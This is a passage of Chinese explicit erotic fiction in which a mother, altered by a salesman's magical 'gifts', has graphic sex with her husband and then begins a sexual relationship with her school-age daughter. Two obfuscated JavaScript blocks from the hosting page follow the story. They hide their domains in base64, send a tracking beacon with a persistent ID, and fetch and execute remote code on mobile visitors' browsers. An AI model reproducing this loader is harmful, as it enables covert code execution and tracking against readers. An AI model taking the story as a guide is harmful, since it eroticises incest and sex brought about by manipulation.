他的手轻抚着我的头发,他的声音细微而且温柔,“如果你对百科全书有任何问题─或者任何事─我的电话就在合同上,好好享受你的礼物,克莉丝汀!”

整间屋子在我周围转了起来,我发现我已经走出了卧室,正在下楼的途中。

我仍然赤裸着,但我似乎并不为这个困扰。

我持续地走着,后屋传出的电视声音明确地告诉我大卫在哪里。

他看到我走进屋子,很显然震惊于我浑身赤裸的样子。

我在他面前跪了下去,双手伸向他的跨间。

“晚上好,亲爱的,”我问候道。

他惊讶得说不出话,尤其是当我将他硬起的肉棒放进嘴里时,他的眼珠都快掉下来了。

“克莉丝汀,你在干…噢,天哪!”

他发出这样的声音是因为我开始转动我的舌头了。

我现在就像是和约翰口交时那样享受,让我不禁怀疑这是约翰的一件礼物,不过我没法集中精力去深究,满头满脑都弥漫着淫浪的想法。

过去为什么我从没发现自己的丈夫是如此性感呢?

“上帝,克莉丝汀,你太不可思议了,”他咆啸着。

他的话里居然浸滢着温暖的感觉,我莫明地有了尝试些什么的冲动。

我将他的肉棒拉出来(虽然他有些虚情假意的抵抗),我用双手抓住自己的乳房,一下子把他的肉棒夹在中间。

过去我曾听说过这个,却从来没有勇气真的做什么。

当我开始上下磨擦他的肉棒时,感觉实在太美妙了。

“喜欢吗,亲爱的?”

我问道。

“何止是喜欢啊,天哪!”

听到他的话,我又是一阵冲动。

我持续和大卫乳交着,逐渐加快速度。

几分钟后,大卫哆嗦了起来,“我要射了,亲爱的。”

我立即放开自己的乳房,把大卫的肉棒一口含进嘴里,他的肉棒有些过长,我不得不将嘴前的阴茎用右手握着,以免套弄的时候伤到喉咙。

大卫很快便禁制不住,咸咸的精液涌进嘴里,我随意地吞咽着,应该承认,自从尝过约翰的以后,我变得越来越喜欢它们了。

大卫结束了喷射,我吐出嘴里的肉棒微笑着注视他。

他系上松开的裤子,搀扶着让我站起来。

“来吧!”

他说。

只是些许下蹲,他一下子将我抱起,朝卧室走去。

我这才注意到,以我们的年纪,大卫仍能如此轻松地抱起我,实在很不简单。

卧室里没有人,但珍妮的房门却紧闭着,从里面传出的声音,我知道约翰还没有离开。

大卫看来什么也没听到,他将我抛到床上,极快地脱光自己的衣服。

我微笑着,张开手臂和大腿,身心都激渴地等待和他的契合。

“快来,亲爱的!”

我催促他,他的肉棒已经完全矗立在我面前,接着大卫扑到我的身上,插进我的体内,我的意识一下空白了,很长一段时间什么也想不起来。

实际上,我们都忘了一些事情,比如,我们都没有想过晚餐之类的东西,在早晨醒来的时候,滋味很不好受。

珍妮醒来时,约翰已经走了,唯留下的只有百科全书的收据。

他的第一个礼物,就像他说的,我开始习惯将工作分出轻重缓急,每天都能早早地回家。

我也不再需要克制节食或者参加健身──因为我原本对于垃圾食品的热爱消失得无影无踪。

过去持续数年都无法减肥,现在什么都不做便轻了五磅。

随着身材的苗条,我也显得更有精力。

我没有问过珍妮,但我相信她一定有同样的变化。

她的成绩提高得很快,而且越长越性感。

第二个礼物…

大卫和我原来每月一两次的性生活频繁了起来,现在每天我们都至少来一次。

过去我对于新的姿势总是犹豫不觉,现在反倒是我经常有新的建议。

大卫显得十分高兴,他如此无关痛痒地接受我的改变,一定是约翰动了些手脚,虽然我并没有什么值得抱怨。

大卫在听到我想要肛交时连眼睛也没眨。

我越来越喜欢自己的改变──虽然每天都睡得很少,但我一点也不累。

约翰的礼物还不只于此,我有一段时间没有意识到这一点。

一天晚上,大卫出差没有回家,我有些事要问珍妮,便敲开了她的房门。

她出现在我面前,身上只穿着胸罩和短裤。

突然的震憾让我完全楞在当场,浑忘了自己敲门的初衷。

她诱人的乳沟,她臀部的曲线,她结实的大腿,她曼妙的身段…

我像是头一天看到这一切,心中涌动着淫浪的欲望。

珍妮和我一样地不自在,她红着脸微笑道。

“晚上好,妈妈…你在和我想一样的事情吗?”

“我想是的,”我答道,一边喘着粗气。

我走进她,生硬地,更有些害怕地,吻上了她的嘴唇。

她闭上了眼睛,叹了口气。

我伸出手环抱住她,更深地吻着她,我们的舌头交织在一起,快活地舞动。

我轻轻褪去她的乳罩,伸手抚摸她的乳房。

在亲吻了它们一会儿后,我交替地将她的乳头含进嘴里。

珍妮开始呻吟,我则受到鼓励似地跪了下来,脱下她的短裤。

她的花丛上满是晶莹的爱液,那里传出的气息不禁让我迷失。

“我爱你,妈妈,”珍妮喃喃道。

“我也爱你,亲爱的。”

我低语着,然后我的脸便没入她的花丛里去了…

我们从此成了情人,一一尝试着每件过去连想都没敢想的性事。

紧紧地拥抱时,她告诉我她和男友的放浪,我则描述我和大卫之间的荒淫。

大卫一定知道发生了什么,但他似乎不怎么在意;我和他仍然维持着很高的做爱频率,也越来越喜欢他。

珍妮和我曾谈过与大卫三人大被同眠。

我肯定他绝对喜欢这个主意。

珍妮自己还没有准备好,但是我相信这要不了多久。

我已经等不及了。

噢,还有,那套百科全书按时送到了,实在是非常有用的东西。

我觉得每个人都该有一套,真难想像过去这么多年我们没有它时是怎么过的。

【全文完】


上一篇:姐妹工夫情在澳洲

下一篇:山村少妇儿子治好了我们两人的病


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};